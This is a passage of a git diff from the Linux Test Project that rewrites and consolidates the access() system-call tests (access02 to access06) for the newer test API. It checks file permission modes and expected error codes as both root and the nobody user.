-				tst_resm(TFAIL | TTERRNO,
-					 "access(%s, %#o) failed",
-					 file_name, access_mode);
-				continue;
-			}
-
-			access_verify(i);
+		if (TEST_RETURN == -1) {
+			tst_res(TFAIL | TTERRNO, "stat(%s) as %s failed",
+				tc->targetname, user);
+			return;
 		}
-	}
 
-	cleanup();
-	tst_exit();
-}
-
-static void setup(void)
-{
-	int i;
-
-	tst_require_root();
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	ltpuser = getpwnam(nobody_uid);
-	if (ltpuser == NULL)
-		tst_brkm(TBROK | TERRNO, NULL, "getpwnam failed");
-	if (setuid(ltpuser->pw_uid) == -1)
-		tst_brkm(TINFO | TERRNO, NULL, "setuid failed");
-
-	TEST_PAUSE;
-	tst_tmpdir();
-
-	for (i = 0; i < TST_TOTAL; i++)
-		test_cases[i].setupfunc();
-}
-
-/*
- * setup1() - Setup function to test the functionality of access() for
- *	      the access mode argument R_OK.
- *
- *   Creat/open a testfile and write some data into it.
- *   This function returns 0.
- */
-static int setup1(void)
-{
-	char write_buf[] = "abc";
-
-	fd1 = open(TEST_FILE1, O_RDWR | O_CREAT, FILE_MODE);
-	if (fd1 == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "open(%s, O_RDWR|O_CREAT, %#o) failed",
-			 TEST_FILE1, FILE_MODE);
-	}
-
-	/* write some data into testfile */
-	if (write(fd1, write_buf, strlen(write_buf)) != strlen(write_buf)) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "write(%s) failed in setup1", TEST_FILE1);
-	}
-
-	return 0;
-}
-
-/*
- * setup2() - Setup function to test the functionality of access() for
- *	      the access mode argument W_OK.
- *
- *   Creat/open a testfile for writing under temporary directory.
- *   This function returns 0.
- */
-static int setup2(void)
-{
-	fd2 = open(TEST_FILE2, O_RDWR | O_CREAT, FILE_MODE);
-	if (fd1 == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "open(%s, O_RDWR|O_CREAT, %#o) failed",
-			 TEST_FILE2, FILE_MODE);
-	}
-
-	return 0;
-}
-
-/*
- * setup3() - Setup function to test the functionality of access() for
- *	      the access mode argument X_OK.
- *
- *   Creat/open a testfile and provide execute permissions to it.
- *   This function returns 0.
- */
-static int setup3(void)
-{
-	int fd3;
-#ifdef UCLINUX
-	char exechead[] = "#!/bin/sh\n";
-#endif
-
-	fd3 = open(TEST_FILE3, O_RDWR | O_CREAT, FILE_MODE);
-	if (fd3 == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "open(%s, O_RDWR|O_CREAT, %#o) failed",
-			 TEST_FILE3, FILE_MODE);
-	}
-#ifdef UCLINUX
-	if (write(fd3, exechead, sizeof(exechead)) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup, "write(%s) failed",
-			 TEST_FILE3);
-	}
-#endif
-
-	/* Close the test file created above */
-	if (close(fd3) == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup, "close(%s) failed",
-			 TEST_FILE3);
-	}
-
-	/* Set execute permission bits on the test file. */
-	if (chmod(TEST_FILE3, EXE_MODE) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup, "chmod(%s, %#o) failed",
-			 TEST_FILE3, EXE_MODE);
-	}
-
-	return 0;
-}
-
-/*
- * setup4() - Setup function to test the functionality of access() for
- *	      symbolic link file.
- *
- *   Creat/open a temporary file and close it.
- *   Creat a symbolic link of temporary file.
- *   This function returns 0.
- */
-static int setup4(void)
-{
-	fd4 = open(TEMP_FILE, O_RDWR | O_CREAT, FILE_MODE);
-	if (fd4 == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "open(%s, O_RDWR|O_CREAT, %#o) failed",
-			 TEMP_FILE, FILE_MODE);
-	}
-
-	/* Creat a symbolic link for temporary file */
-	if (symlink(TEMP_FILE, SYM_FILE) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "symlink(%s, %s) failed", TEMP_FILE, SYM_FILE);
-	}
-
-	return 0;
-}
-
-/*
- * access_verify(i) -
- *
- *	This function verify the accessibility of the
- *	the testfile with the one verified by access().
- */
-static int access_verify(int i)
-{
-	char write_buf[] = "abc";
-	char read_buf[BUFSIZ];
-	int rval;
-
-	rval = 0;
-
-	switch (i) {
-	case 0:
-		/*
-		 * The specified file has read access.
-		 * Attempt to read some data from the testfile
-		 * and if successful, access() behaviour is
-		 * correct.
-		 */
-		rval = read(fd1, &read_buf, sizeof(read_buf));
-		if (rval == -1)
-			tst_resm(TFAIL | TERRNO, "read(%s) failed", TEST_FILE1);
 		break;
-	case 1:
+	case R_OK:
 		/*
-		 * The specified file has write access.
-		 * Attempt to write some data to the testfile
-		 * and if successful, access() behaviour is correct.
+		 * The specified file(or pointed to by symbolic link)
+		 * has read access, attempt to open the file with O_RDONLY,
+		 * if we get a valid fd, access() behaviour is correct.
 		 */
-		rval = write(fd2, write_buf, strlen(write_buf));
-		if (rval == -1)
-			tst_resm(TFAIL | TERRNO, "write(%s) failed",
-				 TEST_FILE2);
+		TEST(open(tc->targetname, O_RDONLY));
+
+		if (TEST_RETURN == -1) {
+			tst_res(TFAIL | TTERRNO,
+				"open %s with O_RDONLY as %s failed",
+				tc->targetname, user);
+			return;
+		}
+
+		SAFE_CLOSE(TEST_RETURN);
+
 		break;
-	case 2:
+	case W_OK:
 		/*
-		 * The specified file has execute access.
-		 * Attempt to execute the specified executable
+		 * The specified file(or pointed to by symbolic link)
+		 * has write access, attempt to open the file with O_WRONLY,
+		 * if we get a valid fd, access() behaviour is correct.
+		 */
+		TEST(open(tc->targetname, O_WRONLY));
+
+		if (TEST_RETURN == -1) {
+			tst_res(TFAIL | TTERRNO,
+				"open %s with O_WRONLY as %s failed",
+				tc->targetname, user);
+			return;
+		}
+
+		SAFE_CLOSE(TEST_RETURN);
+
+		break;
+	case X_OK:
+		/*
+		 * The specified file(or pointed to by symbolic link)
+		 * has execute access, attempt to execute the executable
 		 * file, if successful, access() behaviour is correct.
 		 */
-		rval = system("./" TEST_FILE3);
-		if (rval != 0)
-			tst_resm(TFAIL, "Fail to execute the %s", TEST_FILE3);
-		break;
-	case 3:
-		/*
-		 * The file pointed to by symbolic link has
-		 * write access.
-		 * Attempt to write some data to this temporary file
-		 * pointed to by symlink. if successful, access() bahaviour
-		 * is correct.
-		 */
-		rval = write(fd4, write_buf, strlen(write_buf));
-		if (rval == -1)
-			tst_resm(TFAIL | TERRNO, "write(%s) failed", TEMP_FILE);
+		sprintf(command, "./%s", tc->targetname);
+
+		TEST(system(command));
+
+		if (TEST_RETURN != 0) {
+			tst_res(TFAIL | TTERRNO, "execute %s as %s failed",
+				tc->targetname, user);
+			return;
+		}
+
 		break;
 	default:
 		break;
 	}
 
-	return rval;
+	tst_res(TPASS, "access(%s, %s) as %s behaviour is correct.",
+		tc->pathname, tc->name, user);
 }
 
-static void cleanup(void)
+static void verify_access(unsigned int n)
 {
-	if (close(fd1) == -1)
-		tst_brkm(TFAIL | TERRNO, NULL, "close(%s) failed", TEST_FILE1);
-	if (close(fd2) == -1)
-		tst_brkm(TFAIL | TERRNO, NULL, "close(%s) failed", TEST_FILE2);
-	if (close(fd4) == -1)
-		tst_brkm(TFAIL | TERRNO, NULL, "close(%s) failed", TEMP_FILE);
+	struct tcase *tc = &tcases[n];
+	pid_t pid;
 
-	tst_rmdir();
+	/* test as root */
+	access_test(tc, "root");
+
+	/* test as nobody */
+	pid = SAFE_FORK();
+	if (pid) {
+		SAFE_WAITPID(pid, NULL, 0);
+	} else {
+		SAFE_SETUID(uid);
+		access_test(tc, "nobody");
+	}
 }
+
+static void setup(void)
+{
+	struct passwd *pw;
+
+	pw = SAFE_GETPWNAM("nobody");
+
+	uid = pw->pw_uid;
+
+	SAFE_TOUCH(FNAME_F, 0000, NULL);
+	SAFE_TOUCH(FNAME_R, 0444, NULL);
+	SAFE_TOUCH(FNAME_W, 0222, NULL);
+	SAFE_TOUCH(FNAME_X, 0555, NULL);
+	SAFE_FILE_PRINTF(FNAME_X, "#!/bin/sh\n");
+
+	SAFE_SYMLINK(FNAME_F, SNAME_F);
+	SAFE_SYMLINK(FNAME_R, SNAME_R);
+	SAFE_SYMLINK(FNAME_W, SNAME_W);
+	SAFE_SYMLINK(FNAME_X, SNAME_X);
+}
+
+static struct tst_test test = {
+	.tid = "access02",
+	.tcnt = ARRAY_SIZE(tcases),
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.forks_child = 1,
+	.setup = setup,
+	.test = verify_access,
+};
diff --git a/testcases/kernel/syscalls/access/access03.c b/testcases/kernel/syscalls/access/access03.c
index 6f5fa70..b9a96a0 100644
--- a/testcases/kernel/syscalls/access/access03.c
+++ b/testcases/kernel/syscalls/access/access03.c
@@ -23,101 +23,81 @@
  */
 
 /*
- * access(2) test for errno(s) EFAULT.
+ * access(2) test for errno(s) EFAULT as root and nobody respectively.
  */
 
 #include <errno.h>
-#include <string.h>
-#include <signal.h>
-
 #include <unistd.h>
-#include <sys/mman.h>
-#include "test.h"
+#include <sys/types.h>
+#include <pwd.h>
+#include "tst_test.h"
 
-static void setup(void);
-static void cleanup(void);
+static uid_t uid;
 
-char *TCID = "access03";
-int TST_TOTAL = 8;
+static struct tcase {
+	void *addr;
+	int mode;
+	char *name;
+} tcases[] = {
+	{(void *)-1, F_OK, "F_OK"},
+	{(void *)-1, R_OK, "R_OK"},
+	{(void *)-1, W_OK, "W_OK"},
+	{(void *)-1, X_OK, "X_OK"},
+};
 
-/* XXX (garrcoop): uh, this isn't a bad address yo. */
-static void *low_addr;
-static void *high_addr;
-
-#if !defined(UCLINUX)
-
-int main(int ac, char **av)
+static void access_test(struct tcase *tc, const char *user)
 {
-	int lc;
+	TEST(access(tc->addr, tc->mode));
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-#define TEST_ACCESS(addr, mode) \
-{ \
-	if (access(low_addr, mode) == -1) { \
-		if (errno == EFAULT) { \
-			tst_resm(TPASS, \
-			    "access(%p, %s) failed as expected with EFAULT", \
-			    addr, #mode); \
-		} else { \
-			tst_resm(TFAIL|TERRNO, \
-			    "access(%p, %s) failed unexpectedly; " \
-			    "expected (EFAULT)", addr, #mode); \
-		} \
-	} else { \
-		tst_resm(TFAIL, \
-		    "access(%p, %s) succeeded unexpectedly", addr, #mode); \
-	} \
-}
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		TEST_ACCESS(low_addr, R_OK);
-		TEST_ACCESS(low_addr, W_OK);
-		TEST_ACCESS(low_addr, X_OK);
-		TEST_ACCESS(low_addr, F_OK);
-
-		TEST_ACCESS(high_addr, R_OK);
-		TEST_ACCESS(high_addr, W_OK);
-		TEST_ACCESS(high_addr, X_OK);
-		TEST_ACCESS(high_addr, F_OK);
+	if (TEST_RETURN != -1) {
+		tst_res(TFAIL, "access(%p, %s) as %s succeeded unexpectedly",
+			tc->addr, tc->name, user);
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	if (TEST_ERRNO != EFAULT) {
+		tst_res(TFAIL | TTERRNO,
+			"access(%p, %s) as %s should fail with EFAULT",
+			tc->addr, tc->name, user);
+		return;
+	}
+
+	tst_res(TPASS | TTERRNO, "access(%p, %s) as %s",
+		tc->addr, tc->name, user);
+}
+
+static void verify_access(unsigned int n)
+{
+	struct tcase *tc = &tcases[n];
+	pid_t pid;
+
+	/* test as root */
+	access_test(tc, "root");
+
+	/* test as nobody */
+	pid = SAFE_FORK();
+	if (pid) {
+		SAFE_WAITPID(pid, NULL, 0);
+	} else {
+		SAFE_SETUID(uid);
+		access_test(tc, "nobody");
+	}
 }
 
 static void setup(void)
 {
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-	TEST_PAUSE;
+	struct passwd *pw;
 
-	low_addr = mmap(0, 1, PROT_NONE,
-			MAP_PRIVATE_EXCEPT_UCLINUX | MAP_ANONYMOUS, 0, 0);
-	if (low_addr == MAP_FAILED)
-		tst_brkm(TBROK | TERRNO, NULL, "mmap failed");
+	pw = SAFE_GETPWNAM("nobody");
 
-	high_addr = get_high_address();
-	if (high_addr == NULL)
-		tst_brkm(TBROK | TERRNO, NULL, "get_high_address failed");
-	high_addr++;
-
-	tst_tmpdir();
+	uid = pw->pw_uid;
 }
 
-static void cleanup(void)
-{
-	tst_rmdir();
-}
-
-#else
-
-int main(void)
-{
-	tst_brkm(TCONF, NULL, "test not available on UCLINUX");
-}
-
-#endif /* if !defined(UCLINUX) */
+static struct tst_test test = {
+	.tid = "access03",
+	.tcnt = ARRAY_SIZE(tcases),
+	.needs_root = 1,
+	.forks_child = 1,
+	.setup = setup,
+	.test = verify_access,
+};
diff --git a/testcases/kernel/syscalls/access/access04.c b/testcases/kernel/syscalls/access/access04.c
index 49e7057..820aab6 100644
--- a/testcases/kernel/syscalls/access/access04.c
+++ b/testcases/kernel/syscalls/access/access04.c
@@ -1,129 +1,134 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
+ * Copyright (c) 2013 Fujitsu Ltd.
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, see <http://www.gnu.org/licenses/>.
  */
 
 /*
- * Test Description:
- *  Verify that access() succeeds to check the existance of a file if
- *  search access is permitted on the pathname of the specified file.
+ * Verify that,
+ *  1) access() fails with -1 return value and sets errno to EINVAL
+ *     if the specified access mode argument is invalid.
+ *  2) access() fails with -1 return value and sets errno to ENOENT
+ *     if the specified file doesn't exist (or pathname is NULL).
+ *  3) access() fails with -1 return value and sets errno to ENAMETOOLONG
+ *     if the pathname size is > PATH_MAX characters.
+ *  4) access() fails with -1 return value and sets errno to ENOTDIR
+ *     if a component used as a directory in pathname is not a directory.
+ *  5) access() fails with -1 return value and sets errno to ELOOP
+ *     if too many symbolic links were encountered in resolving pathname.
+ *  6) access() fails with -1 return value and sets errno to EROFS
+ *     if write permission was requested for files on a read-only file system.
  *
  *  07/2001 Ported by Wayne Boyer
+ *  11/2013 Ported by Xiaoguang Wang <wangxg.fnst@cn.fujitsu.com>
+ *  11/2016 Modified by Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
  */
 
-#include <stdio.h>
-#include <unistd.h>
-#include <sys/types.h>
 #include <errno.h>
-#include <fcntl.h>
-#include <string.h>
-#include <signal.h>
-#include <sys/stat.h>
 #include <pwd.h>
+#include <string.h>
+#include <sys/mount.h>
+#include <sys/types.h>
+#include <unistd.h>
 
-#include "test.h"
+#include "tst_test.h"
 
-#define TESTDIR		"testdir"
-#define TESTFILE	"testdir/testfile"
-#define DIR_MODE	(S_IRWXU | S_IRUSR | S_IXUSR | S_IRGRP | S_IXGRP)
-#define FILE_MODE	(S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH)
+#define FNAME1	"accessfile1"
+#define FNAME2	"accessfile2/accessfile2"
+#define DNAME	"accessfile2"
+#define SNAME1	"symlink1"
+#define SNAME2	"symlink2"
+#define MNT_POINT	"mntpoint"
 
-char *TCID = "access04";
-int TST_TOTAL = 1;
+static uid_t uid;
+static char longpathname[PATH_MAX + 2];
 
-static const char nobody_uid[] = "nobody";
-static struct passwd *ltpuser;
+static struct tcase {
+	const char *pathname;
+	int mode;
+	int exp_errno;
+} tcases[] = {
+	{FNAME1, -1, EINVAL},
+	{"", W_OK, ENOENT},
+	{longpathname, R_OK, ENAMETOOLONG},
+	{FNAME2, R_OK, ENOTDIR},
+	{SNAME1, R_OK, ELOOP},
+	{MNT_POINT, W_OK, EROFS}
+};
 
-static void setup(void);
-static void cleanup(void);
-
-int main(int ac, char **av)
+static void access_test(struct tcase *tc, const char *user)
 {
-	struct stat stat_buf;
-	int lc;
+	TEST(access(tc->pathname, tc->mode));
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		TEST(access(TESTFILE, F_OK));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL | TTERRNO, "access(%s, F_OK) failed",
-				 TESTFILE);
-			continue;
-		}
-
-		if (stat(TESTFILE, &stat_buf) < 0) {
-			tst_resm(TFAIL | TERRNO, "stat(%s) failed",
-				 TESTFILE);
-		} else {
-			tst_resm(TPASS, "functionality of "
-				 "access(%s, F_OK) ok", TESTFILE);
-		}
+	if (TEST_RETURN != -1) {
+		tst_res(TFAIL, "access as %s succeeded unexpectedly", user);
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	if (tc->exp_errno != TEST_ERRNO) {
+		tst_res(TFAIL | TTERRNO,
+			"access as %s should fail with %s",
+			user, tst_strerrno(tc->exp_errno));
+		return;
+	}
+
+	tst_res(TPASS | TTERRNO, "access as %s failed expectedly", user);
+}
+
+static void verify_access(unsigned int n)
+{
+	struct tcase *tc = tcases + n;
+	pid_t pid;
+
+	access_test(tc, "root");
+
+	pid = SAFE_FORK();
+	if (pid) {
+		SAFE_WAITPID(pid, NULL, 0);
+	} else {
+		SAFE_SETUID(uid);
+		access_test(tc, "nobody");
+	}
 }
 
 static void setup(void)
 {
-	int fd;
+	struct passwd *pw;
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-	tst_require_root();
+	pw = SAFE_GETPWNAM("nobody");
 
-	ltpuser = getpwnam(nobody_uid);
-	if (ltpuser == NULL)
-		tst_brkm(TBROK | TERRNO, NULL, "getpwnam failed");
+	uid = pw->pw_uid;
 
-	if (setuid(ltpuser->pw_uid) == -1)
-		tst_brkm(TINFO | TERRNO, NULL, "setuid failed");
+	memset(longpathname, 'a', sizeof(longpathname) - 1);
 
-	TEST_PAUSE;
-	tst_tmpdir();
+	SAFE_TOUCH(FNAME1, 0333, NULL);
+	SAFE_TOUCH(DNAME, 0644, NULL);
 
-	if (mkdir(TESTDIR, DIR_MODE) < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "mkdir(%s, %#o) failed",
-			 TESTDIR, DIR_MODE);
-
-	if (chmod(TESTDIR, DIR_MODE) < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "chmod(%s, %#o) failed",
-			 TESTDIR, DIR_MODE);
-
-	fd = open(TESTFILE, O_RDWR | O_CREAT, FILE_MODE);
-	if (fd == -1)
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "open(%s, O_RDWR|O_CREAT, %#o) failed",
-			 TESTFILE, FILE_MODE);
-
-	if (close(fd) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "close(%s) failed", TESTFILE);
-
-	if (chmod(TESTFILE, 0) < 0)
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "chmod(%s, 0) failed", TESTFILE);
+	SAFE_SYMLINK(SNAME1, SNAME2);
+	SAFE_SYMLINK(SNAME2, SNAME1);
 }
 
-static void cleanup(void)
-{
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.tid = "access04",
+	.tcnt = ARRAY_SIZE(tcases),
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.forks_child = 1,
+	.mount_device = 1,
+	.mntpoint = MNT_POINT,
+	.mnt_flags = MS_RDONLY,
+	.setup = setup,
+	.test = verify_access,
+};
diff --git a/testcases/kernel/syscalls/access/access05.c b/testcases/kernel/syscalls/access/access05.c
deleted file mode 100644
index 3b88515..0000000
--- a/testcases/kernel/syscalls/access/access05.c
+++ /dev/null
@@ -1,216 +0,0 @@
-/*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * Test Description:
- *  Verify that,
- *   1. access() fails with -1 return value and sets errno to EACCES
- *      if the permission bits of the file mode do not permit the
- *	 requested (Read/Write/Execute) access.
- *   2. access() fails with -1 return value and sets errno to EINVAL
- *	if the specified access mode argument is invalid.
- *   3. access() fails with -1 return value and sets errno to EFAULT
- *	if the pathname points outside allocate address space for the
- *	process.
- *   4. access() fails with -1 return value and sets errno to ENOENT
- *	if the specified file doesn't exist (or pathname is NULL).
- *   5. access() fails with -1 return value and sets errno to ENAMETOOLONG
- *      if the pathname size is > PATH_MAX characters.
- *   6. access() fails with -1 return value and sets errno to ENOTDIR
- *      if a component used as a directory in pathname is not a directory.
- *   7. access() fails with -1 return value and sets errno to ELOOP
- *      if too many symbolic links were encountered in resolving pathname.
- *
- *   07/2001 Ported by Wayne Boyer
- */
-
-#include <stdio.h>
-#include <errno.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <string.h>
-#include <signal.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/mman.h>
-#include <pwd.h>
-
-#include "test.h"
-#include "safe_macros.h"
-
-#define INV_OK		-1
-#define TEST_FILE1	"test_file1"
-#define TEST_FILE2	"test_file2"
-#define TEST_FILE3	"test_file3"
-#define TEST_FILE4	"test_file4"
-#define TEST_FILE5	"test_file5/test_file5"
-#define TEST_FILE6	"test_file6"
-
-
-#if !defined(UCLINUX)
-static char high_address_node[64];
-#endif
-
-static char longpathname[PATH_MAX + 2];
-
-static struct test_case_t {
-	char *pathname;
-	int a_mode;
-	int exp_errno;
-} test_cases[] = {
-	{TEST_FILE1, R_OK, EACCES},
-	{TEST_FILE2, W_OK, EACCES},
-	{TEST_FILE3, X_OK, EACCES},
-	{TEST_FILE4, INV_OK, EINVAL},
-#if !defined(UCLINUX)
-	{(char *)-1, R_OK, EFAULT},
-	{high_address_node, R_OK, EFAULT},
-#endif
-	{"", W_OK, ENOENT},
-	{longpathname, R_OK, ENAMETOOLONG},
-	{TEST_FILE5, R_OK, ENOTDIR},
-	{TEST_FILE6, R_OK, ELOOP},
-};
-
-char *TCID = "access05";
-int TST_TOTAL = ARRAY_SIZE(test_cases);
-
-static const char nobody_uid[] = "nobody";
-static struct passwd *ltpuser;
-
-static void setup(void);
-static void access_verify(int i);
-static void cleanup(void);
-
-static char *bad_addr;
-
-int main(int ac, char **av)
-{
-	int lc;
-	int i;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++)
-			access_verify(i);
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-static void setup(void)
-{
-	int fd;
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-	tst_require_root();
-
-	ltpuser = SAFE_GETPWNAM(cleanup, nobody_uid);
-	SAFE_SETUID(cleanup, ltpuser->pw_uid);
-	TEST_PAUSE;
-
-#if !defined(UCLINUX)
-	bad_addr = mmap(0, 1, PROT_NONE,
-			MAP_PRIVATE_EXCEPT_UCLINUX | MAP_ANONYMOUS, 0, 0);
-	if (bad_addr == MAP_FAILED)
-		tst_brkm(TBROK | TERRNO, NULL, "mmap failed");
-	test_cases[4].pathname = bad_addr;
-
-	test_cases[5].pathname = get_high_address();
-#endif
-
-	tst_tmpdir();
-
-	/*
-	 * create TEST_FILE1 to test R_OK EACCESS
-	 */
-	fd = SAFE_CREAT(cleanup, TEST_FILE1, 0333);
-	SAFE_CLOSE(cleanup, fd);
-
-	/*
-	 * create TEST_FILE2 to test W_OK EACCESS
-	 */
-	fd = SAFE_CREAT(cleanup, TEST_FILE2, 0555);
-	SAFE_CLOSE(cleanup, fd);
-
-	/*
-	 * create TEST_FILE3 to test X_OK EACCESS
-	 */
-	fd = SAFE_CREAT(cleanup, TEST_FILE3, 0666);
-	SAFE_CLOSE(cleanup, fd);
-
-	/*
-	 * create TEST_FILE4 to test EINVAL
-	 */
-	fd = SAFE_CREAT(cleanup, TEST_FILE4, 0333);
-	SAFE_CLOSE(cleanup, fd);
-
-	/*
-	 *setup to create a node with a name length exceeding
-	 *the MAX length of PATH_MAX.
-	 */
-	memset(longpathname, 'a', sizeof(longpathname) - 1);
-
-	/* create test_file5 for test ENOTDIR. */
-	SAFE_TOUCH(cleanup, "test_file5", 0644, NULL);
-
-	/*
-	 * create two symbolic links who point to each other for
-	 * test ELOOP.
-	 */
-	SAFE_SYMLINK(cleanup, "test_file6", "test_file7");
-	SAFE_SYMLINK(cleanup, "test_file7", "test_file6");
-}
-
-static void access_verify(int i)
-{
-	char *file_name;
-	int access_mode;
-
-	file_name = test_cases[i].pathname;
-	access_mode = test_cases[i].a_mode;
-
-	TEST(access(file_name, access_mode));
-
-	if (TEST_RETURN != -1) {
-		tst_resm(TFAIL, "access(%s, %#o) succeeded unexpectedly",
-			 file_name, access_mode);
-		return;
-	}
-
-	if (TEST_ERRNO == test_cases[i].exp_errno) {
-		tst_resm(TPASS | TTERRNO, "access failed as expected");
-	} else {
-		tst_resm(TFAIL | TTERRNO,
-			 "access failed unexpectedly; expected: "
-			 "%d - %s", test_cases[i].exp_errno,
-			 strerror(test_cases[i].exp_errno));
-	}
-}
-
-static void cleanup(void)
-{
-	tst_rmdir();
-}
diff --git a/testcases/kernel/syscalls/access/access06.c b/testcases/kernel/syscalls/access/access06.c
deleted file mode 100644
index e9372f8..0000000
--- a/testcases/kernel/syscalls/access/access06.c
+++ /dev/null
@@ -1,148 +0,0 @@
-/*
- * Copyright (c) 2013 Fujitsu Ltd.
- * Author: Xiaoguang Wang <wangxg.fnst@cn.fujitsu.com>
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- */
-
-/*
- * Description:
- * Verify that,
- *  1. access() fails with -1 return value and sets errno to EROFS
- *     if write permission was requested for files on a read-only file system.
- */
-
-#include <stdio.h>
-#include <errno.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <string.h>
-#include <signal.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/mman.h>
-#include <sys/mount.h>
-#include <pwd.h>
-
-#include "test.h"
-#include "safe_macros.h"
-
-static void setup(void);
-static void access_verify(int i);
-static void cleanup(void);
-
-#define DIR_MODE	(S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP| \
-			 S_IXGRP|S_IROTH|S_IXOTH)
-#define MNT_POINT	"mntpoint"
-
-static const char *device;
-static const char *fs_type;
-static int mount_flag;
-
-static struct test_case_t {
-	char *pathname;
-	int a_mode;
-	int exp_errno;
-} test_cases[] = {
-	{MNT_POINT, W_OK, EROFS}
-};
-
-char *TCID = "access06";
-int TST_TOTAL = ARRAY_SIZE(test_cases);
-
-int main(int ac, char **av)
-{
-	int lc;
-	int i;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++)
-			access_verify(i);
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-static void setup(void)
-{
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	tst_require_root();
-	tst_tmpdir();
-
-	fs_type = tst_dev_fs_type();
-	device = tst_acquire_device(cleanup);
-
-	if (!device)
-		tst_brkm(TCONF, cleanup, "Failed to obtain block device");
-
-	tst_mkfs(cleanup, device, fs_type, NULL, NULL);
-	SAFE_MKDIR(cleanup, MNT_POINT, DIR_MODE);
-
-	TEST_PAUSE;
-
-	/*
-	 * mount a read-only file system for test EROFS
-	 */
-	if (mount(device, MNT_POINT, fs_type, MS_RDONLY, NULL) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "mount device:%s failed", device);
-	}
-	mount_flag = 1;
-}
-
-static void access_verify(int i)
-{
-	char *file_name;
-	int access_mode;
-
-	file_name = test_cases[i].pathname;
-	access_mode = test_cases[i].a_mode;
-
-	TEST(access(file_name, access_mode));
-
-	if (TEST_RETURN != -1) {
-		tst_resm(TFAIL, "access(%s, %#o) succeeded unexpectedly",
-			 file_name, access_mode);
-		return;
-	}
-
-	if (TEST_ERRNO == test_cases[i].exp_errno) {
-		tst_resm(TPASS | TTERRNO, "access failed as expected");
-	} else {
-		tst_resm(TFAIL | TTERRNO,
-			 "access failed unexpectedly; expected: "
-			 "%d - %s", test_cases[i].exp_errno,
